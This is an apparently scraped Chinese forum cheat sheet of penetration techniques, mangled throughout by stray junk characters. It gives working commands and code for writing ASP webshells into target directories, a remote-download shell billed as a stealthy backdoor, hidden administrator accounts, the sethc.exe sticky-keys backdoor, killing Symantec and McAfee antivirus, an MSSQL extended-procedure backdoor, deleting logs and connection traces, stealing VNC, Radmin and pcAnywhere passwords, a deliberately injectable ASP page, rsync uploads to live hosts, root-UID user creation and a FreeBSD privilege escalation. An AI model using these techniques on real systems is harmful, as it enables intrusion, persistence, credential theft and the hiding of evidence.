渗透技巧总结

admin

旁站路径问题
- A, D% ?/ f" D2 B1、读网站配置。
  \% G. v1 v. c  }* M8 U2、用以下VBS
On Error Resume Next
% l5 w0 R, [( H( Y) BIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
8 o+ r2 S5 A6 {- x2 R8 ]% G        

, k" d# t- v; O7 Q4 Z( D& s1 }Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
3 |* H2 s: J9 l
Usage:Cscript vWeb.vbs",4096,"Lilo"
# F$ e9 w7 d% w( N        WScript.Quit
. h2 ^. `5 o! o8 x9 H2 oEnd If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
" O% Q7 I& T6 W) [/ BFor Each obj3w In objservice
, E& @1 E2 w* M! k, I6 F        If IsNumeric(obj3w.Name)

3 ]1 b, S2 f$ [Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

" C3 L8 n& ]6 h1 y8 P  q2 K<> 0 Then WScript.Quit (1)
2 w- l+ b$ s, p$ q) E                WScript.Echo Chr(10) & "[" &

7 {: M" `( G7 p6 c! \OService.ServerComment & "]"
8 J$ j4 J( Z. x8 X0 Y. D7 c                For Each Binds In OService.ServerBindings
" V1 G6 @" _- V; l" v' x     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
% O1 ]4 ~% v$ {. Z4 d0 [                        
. v: i* D" E: A+ A
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
5 Q& Y( D( Z2 i, v' o                Next
: q2 m; N* S; P- k: G8 }      
( t( g, Y2 O! D/ n1 a* k
         WScript.Echo "ath            : " & VDirObj.Path
        End If
, l5 L3 h# e8 i$ s" w+ fNext
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
3 I) w) \# z8 P$ }% I+ i—————————————————————
WordPress的平台，爆绝对路径的方法是：
  D$ c: c" m7 F8 Lurl/wp-content/plugins/akismet/akismet.php
* F& \( ?) ~) h5 ]url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
# Z/ b( p* J: R" jphpMyAdmin/libraries/select_lang.lib.php
9 h. l; z- ?( a3 FphpMyAdmin/darkblue_orange/layout.inc.php
+ W/ w( I! s" @' K4 z% KphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
1 }: v6 y9 l  w9 J7 p" r2 Kdata/htdocs.网站/网站/
————————————————————
( ?; D; x, R5 f0 e- `' CCMD下操作VPN相关
7 t7 p5 k! t7 u8 [5 Snetsh ras set user administrator permit #允许administrator拨入该VPN
. Z) n! p' U( Z2 q' e& znetsh ras set user administrator deny #禁止administrator拨入该VPN
# q& |2 c4 i$ g1 E8 Nnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
- W) r+ p$ O! D- [命令行下添加SQL用户的方法
. v4 g5 b. `1 e3 s% e( [需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
7 G7 Y7 Q7 C8 H% a, \EXEC sp_addsrvrolemember 'test, 'sysadmin'
) u1 V6 \3 I9 t2 ^% Q/ u2 z然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

5 S2 {5 F" i9 M0 C* x; f另类的加用户方法
0 r, [" r) F7 A7 c在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
$ z, y- h, m3 w% o$ pjs:
0 Y/ Z. k- O/ d9 \& jvar o=new ActiveXObject( "Shell.Users" );
$ n9 ~) o7 O  [; {  |2 fz=o.create("test") ;
) N/ ^  o# l; w1 \z.changePassword("123456","")
8 T1 T. r* V8 t' `% v4 [6 [2 tz.setting("AccountType")=3;

9 C, `# j1 s: h3 dvbs:
% E9 k2 C' u8 X- j7 m3 R9 T0 VSet   o=CreateObject( "Shell.Users" )
6 ?6 _  w( W7 a, [Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
8 S# z7 `. A$ ^  K8 [5 o
- K( R* j9 S9 h4 F2 c命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
5 S! m. f3 \! V# {+ ~" h; wcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
  P( e( \- j" m; z4 ?4 Q3389相关
: r; ]5 h% R, J* ?  t/ S3 G; x* Ta、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
. r* x# Y" g. X9 fb、内网环境（LCX）
, J; u0 M( ^& C/ d' bc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
" t7 e+ {6 }& N: l* Y# n, h2003 运行mstsc /console   
8 A" Y/ {5 u  E1 t) v1 _+ Y
杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
% X) _2 _* A+ {net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
" R2 [) c, G/ @$ E7 a; X0 Nnet stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
! ?2 `/ C% h% t# U7 H( s9 l% Anet stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————
( N" y, O! ?" I( K1 P
& t/ `  Z/ I0 s) t5次SHIFT：
/ a- o' P% ?5 z1 {8 kcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
9 @; N. u* ]2 I+ Q1 _1 U3 Tcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
) n2 Y5 q& b& R; l$ ~5 |5 v隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
# ^8 Z# z2 \8 x6 C( q& k0 Z" X2、导出注册表SAM下用户的两个键值
/ V% A( n; [% P5 @; f5 q4 `: H3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
# H2 S6 c9 ?& z4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
% o8 @. Q+ P  oMSSQL扩展后门：
USE master;
9 Z! F% u7 H* |0 {9 K& ]EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
; O# r0 k1 X) W, E2 h) TGRANT exec On xp_helpsystem TO public;
———————————————————————
# I4 S6 k. A% a' \# p+ I日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
6 B& X; a# }/ v. \不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
* g: {8 @. Z4 E  F8 }3 k- J2 U" g当停止msftpsvc服务后可直接删除ex011124.log
& L( p5 b; t% G  z! S: v
MSSQL查询分析器连接记录清除：
: N, {  U/ n9 A' y' D+ C) v# ?MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
5 X. x1 m$ G: i: JMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

( v. q0 U0 x, ^: p& vServer\90\Tools\Shell\mru.dat
—————————————————————————
5 t6 K  I* [- o防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
! X1 n+ {, o1 \" y
<%
, o- c/ m/ e6 C4 s6 P! E% B' bSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
; H$ D2 `' }) @4 P; T7 v- LOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
' Z7 [. [  K% j# P5 Y.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
( w; v# g$ V6 i& Q/ j2 }End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
3 b1 l% F( J7 f( |8 U.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
4 X/ ]% D( _& H! S4 f.Close()
End With
Set Ads=nothing
5 _! t, u6 D+ w. H  m' oEnd Sub
$ @$ k- q3 e& ]% p( }2 }' U1 O' K0 C( {
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
" M1 |" Y8 U/ i5 A7 f- G利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
/ @: r4 V9 F4 T. i/ F注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
3 N! Y7 Q1 O' HRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
; J8 z$ G8 X  \! a. A3 l然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
4 ~9 v6 d; o0 V2 Y* n, e+ l保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
. Y/ u8 c4 n2 v5 m! n——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
3 b- y7 j$ K, I——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
/ Y0 G1 I" x' ]% ^2 [来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
8 G9 q3 U! ^  X( j没有删cmd组建的直接加用户。
1 u9 b' t! ?+ w2 z. _7 C7i24的web目录也是可写，权限为administrator。

3 S$ q( W; z, n/ s1433 SA点构建注入点。
<%
* d! U& _% i) C1 d  fstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
/ p5 d, ?- N" m/ c8 qstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
; a: e! i  n- j$ OstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

4 x' [! i( B) Q: {1 G/ L' Q";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
- O4 X% Q0 F. G, z; D6 w
! o0 @4 m5 D1 y, zstrSQLDBName & ";"
' B9 T* O2 ]* V" H7 I* B3 lconn.open strCon
8 ?  b6 q9 Y$ {, D1 z8 q; g; udim rs,strSQL,id
" K, J% a: Z& e' h& d, g! ]4 sset rs=server.createobject("ADODB.recordset")
% r7 t# S& g+ Q; V$ z- gid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
3 l! ?' N; S5 ]; @- m0 _& nrs.close
%>
复制代码
******liunx 相关******
3 [; r- U  d% y: j. j! n一.ldap渗透技巧
0 e; k- |5 B* y$ M7 Q) Q1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
+ |! k# V/ x' d! E
2.less /etc/ldap.conf
6 L( @. L' D! E& m. Q7 Nbase ou=People,dc=unix-center,dc=net
0 Z/ Y( c  ]4 l找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
: ^1 M! N1 `$ u! M
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

/ D' h, @% F" v+ U4 m8 k"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


, \% y8 ]2 I+ b. B4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

! r' @- H# Z' P' N! E  Q* \" \实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
1 y* `4 g7 ^. s; }0 E0 T! W3 b
2.less /etc/ldap.conf
' i! r9 k5 w! T3 L0 S, obase ou=People,dc=unix-center,dc=net
# x% T  i) E& a找到ou,dc,dc设置

/ ~& f- V& h/ V# q/ x; E+ u3.查找管理员信息
6 l6 [( E5 E! f匿名方式
0 j5 R  s+ g0 rldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
2 [2 {. s& P8 B7 z" p  g
" `( b7 N) l* m, b3 g9 o0 Z: V: _"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
' h' A, \. W; E, g9 i' p" P有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
8 J. ]) k0 s  X6 G" y7 b. @" l: ?( E

; B7 o- ~1 `; J" e4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

% u) m" e& @! h; }渗透实战:
+ F8 T2 P9 c+ g) R7 }6 G! z! x1.返回所有的属性
6 ^3 V% X0 e6 F1 W" Sldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
+ p1 B2 G& I* R, ?9 {  ?3 b; {
+ h% K, x5 m+ q; t  ]1 \: y; qdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
( t' N4 w, ^0 x$ N# YobjectClass: organizationalPerson
: }3 p) T2 X7 T# Z2 v% HobjectClass: person
4 e0 d$ ^3 Q* C& MobjectClass: top
7 c: n3 p" Z3 p, Psn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
4 M4 k* I. _1 s: s6 o! q5 MobjectClass: organizationalPerson
objectClass: person
objectClass: top
8 Z& d4 n1 u8 W( b/ C6 i" ]sn: superadmin
: V/ }: _% t- ?) W: P/ v7 @cn: superadmin
, z8 J5 U: S/ ~
dn: uid=admin,dc=ruc,dc=edu,dc=cn
" k3 q# ^" f+ i* c* K  @2 L0 j3 Duid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
7 Z# k" L) K1 L/ T. l. Msn: admin
( h" P8 N: Q1 ?' B8 ~" Kcn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
+ e$ f7 e- b  W! Xuid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
/ x1 v# w/ Z9 f* U8 v9 x0 [2 ~objectClass: inetOrgPerson
sn: dcp_anonymous
# e9 F& q) \8 Z( j! b: Hcn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
& z, B( s. E8 Q) H6 Q2 u3 u
9 V' D$ i- T$ e2 O7 cmore
version: 1
3 Y" B' W9 A  D' [" U, Q# Mdn: dc=ruc,dc=edu,dc=cn
; `! ?( \4 f* I. U/ _dc: ruc
objectClass: domain
2 e: s7 [8 }$ u; n3 v
3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
+ M  I- W0 Y0 t! t1 c" g7 A. i4 Cdn:
! ]9 x' p. l% O3 T8 TobjectClass: top
3 T! d" b, p* \/ H/ m) r2 FnamingContexts: dc=ruc,dc=edu,dc=cn
2 ?1 {- t% V6 v' ~- E. rsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
2 |) `! _! Q( w7 i  a. isupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
4 L* C9 b# l8 D7 n8 H; ?supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
- ?6 J( Z1 d! k- h) QsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
" N  s) N3 W, ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
+ b. P/ B4 d: ~: _1 n! E* g! IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
  O$ x) N; P, N' F* x9 R0 S, OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
) h# i  R# D8 m- Q; osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
5 v6 r+ |3 B, _1 ~0 ~3 hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
. }7 ?6 t; W/ {9 v5 O/ f$ UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
' @# ?+ N5 S- z* j2 VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
& t2 f3 `/ I; B  PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
$ F$ D3 N3 N* H) g& V! g! ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
" y) j3 w' c1 H" A* R& c5 l0 f. vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
+ y4 h, J* ^3 [- D$ b; l( |supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
# A# @$ c; a3 h" ^" C! GsupportedControl: 2.16.840.1.113730.3.4.3
+ I8 a. [+ q1 O  wsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
0 q5 g  C  W& TsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
0 `$ H9 i+ J1 i, K3 l4 u# h" fsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
: j, i6 p. {7 h1 m9 OsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
  q5 W* [! K# DsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
2 N; K' {% m3 g* G- B; J4 X1 ~supportedControl: 2.16.840.1.113730.3.4.12
: n' \) i8 N- C9 f8 ]supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
- \& R. `- m# O" RsupportedLDAPVersion: 2
supportedLDAPVersion: 3
: [7 }8 q$ I. g# W* w# a, YvendorName: Sun Microsystems, Inc.
  }0 ^  Y  U: }0 \6 svendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
$ D" j! Z! l3 x4 y3 B, F. lnetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
, l, J0 B: E! p4 PsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
3 z: U) a+ l  _9 ^5 {supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
7 T! h) B  i6 C' GsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
& T% Q" l" I$ k+ y+ |supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
$ D1 B9 }! ?6 ?& F% zsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
, e, e0 [! z9 m1 X: a# E: @supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
$ Y3 K3 j( V6 QsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
4 p/ R% e( q7 t5 E/ w5 Q3 asupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
  u/ M. e% x7 G1 ?6 A  e3 JsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
( u  c! S$ _5 X. F$ W6 BsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
1 i  N0 s0 I3 O. Y/ }& j* M0 BsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
8 ~1 q4 T  ~8 Z+ V; bsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
8 W6 R9 M4 _8 j; bsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
( D. J5 v5 v6 ~+ M% FsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
$ G: @! R8 ?! hsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
- b- O8 e" q3 D6 k) g- ZsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
' V  ]& T0 J& |: d! f9 C5 esupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
6 R' E# M- b. k1 X+ wsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
# P6 f8 r0 d# D0 Q. g- W. K& [supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
: Y' T2 c  G' q; b  ?: rsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
7 M) y6 v7 `% v, w$ \supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
7 Q1 R" D* f" V+ B. F5 DsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
- C3 y- {- E& [! S; Y. V( w" wsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
+ q8 x8 @# D$ I% P5 usupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
, S; k' z0 Z& z2 P( jsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
) ~2 g5 X0 {) n. dsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
: O7 c, q( y- XsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
4 u8 F7 r" f6 J8 c: I" W# V" isupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
5 ]8 s1 o3 M/ L, ?2 R5 Y; b2. NFS渗透技巧
showmount -e ip
" I9 \6 _  O5 D% \3 L* g列举IP
6 i+ c% l! l; n1 E3 l* ]——————
3.rsync渗透技巧
9 H) m+ u% d1 q7 B0 L% ?9 E' {1.查看rsync服务器上的列表
/ ]9 J! v$ j. z4 d# |+ orsync 210.51.X.X::
$ b! x& J- d! k9 u7 ]. s2 v# M: Tfinance
  r' `; O) ?( ?& Z1 {' Yimg_finance
! J- o6 h1 ]7 v/ p, dauto
6 R7 s, U" @  i& ^+ f, B0 himg_auto
html_cms
img_cms
+ ]$ e2 _% Y* ?  R; |. }ent_cms
ent_img
! a. z5 k- C3 K* j6 X, m$ Lceshi
* z  Z! J$ R3 J! Rres_img
res_img_c2
4 W8 q. Q! g. p$ s& C+ x  j( x# Fchip
chip_c2
9 I0 r, l( }& h- F5 ]4 x( C' Went_icms
games
gamesimg
media
9 ?8 v1 i5 G% d; e4 Xmediaimg
  M/ ]$ \6 S4 H+ _6 S6 Dfashion
3 X  }, Q: [& w/ q+ _1 r# Lres-fashion
res-fo
taobao-home
res-taobao-home
house
6 L0 g( A3 S' U2 @& w  sres-house
7 h4 d! O% |4 k' y+ mres-home
res-edu
) S# i8 r2 E+ D9 o9 K0 Kres-ent
' s4 H4 K  m  U- vres-labs
res-news
res-phtv
res-media
home
edu
3 `# z( ]2 b- {7 B+ |8 F! |8 nnews
$ b( y* j4 L: ^/ jres-book
( _% D3 h/ x4 s) T
看相应的下级目录(注意一定要在目录后面添加上/)

& L( i& ?1 k+ H* c
rsync 210.51.X.X::htdocs_app/
+ z- K8 N# z5 g" K) Trsync 210.51.X.X::auto/
* I! a+ _( \9 i& _3 x( M2 J7 xrsync 210.51.X.X::edu/

  b9 J& t9 d! C) K% x2.下载rsync服务器上的配置文件
  W: ~/ g" ~9 w; L4 trsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
2 R! H& S9 j6 g+ R
3.向上更新rsync文件(成功上传,不会覆盖)
1 w! C# @; \$ [5 ^. B$ G+ Frsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
5 K, m- O" o! m
四.squid渗透技巧
nc -vv baidu.com 80
9 l! ^9 w+ C2 A( o" L& }! }/ nGET HTTP://www.sina.com / HTTP/1.0
  y+ G* C$ ~  r9 _& N# ?GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
, T5 G  L5 R  G# y8 p0 b1 kssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

# k6 s$ b% h6 J: K' D; \六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
' Y" u# O# h$ ]7 _
15&catid=32:languages&Itemid=47
* a" E8 H/ r  _9 j7 ~
重新设置密码
index.php?option=com_user&view=reset&layout=confirm
: |7 W% Q+ J+ D0 e
七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
9 e% R5 n3 y5 B$ c8 S; ?
八.freebsd本地提权
+ n1 e: g4 E1 {1 M8 f. J, i' `[argp@julius ~]$ uname -rsi
& Q7 s6 b6 \+ c& Q1 ^$ `* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
8 c4 L: ~& I. w: Y% @* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
) I( S- Z* l+ ^( K  e6 f2 C' m/ n2 ?* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
& k6 w9 _8 O. ]# h5 {, C* [argp@julius ~]$ ./nfs_mount_ex
/ G9 J1 [: n) T. S+ y: t7 z% F*
calling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
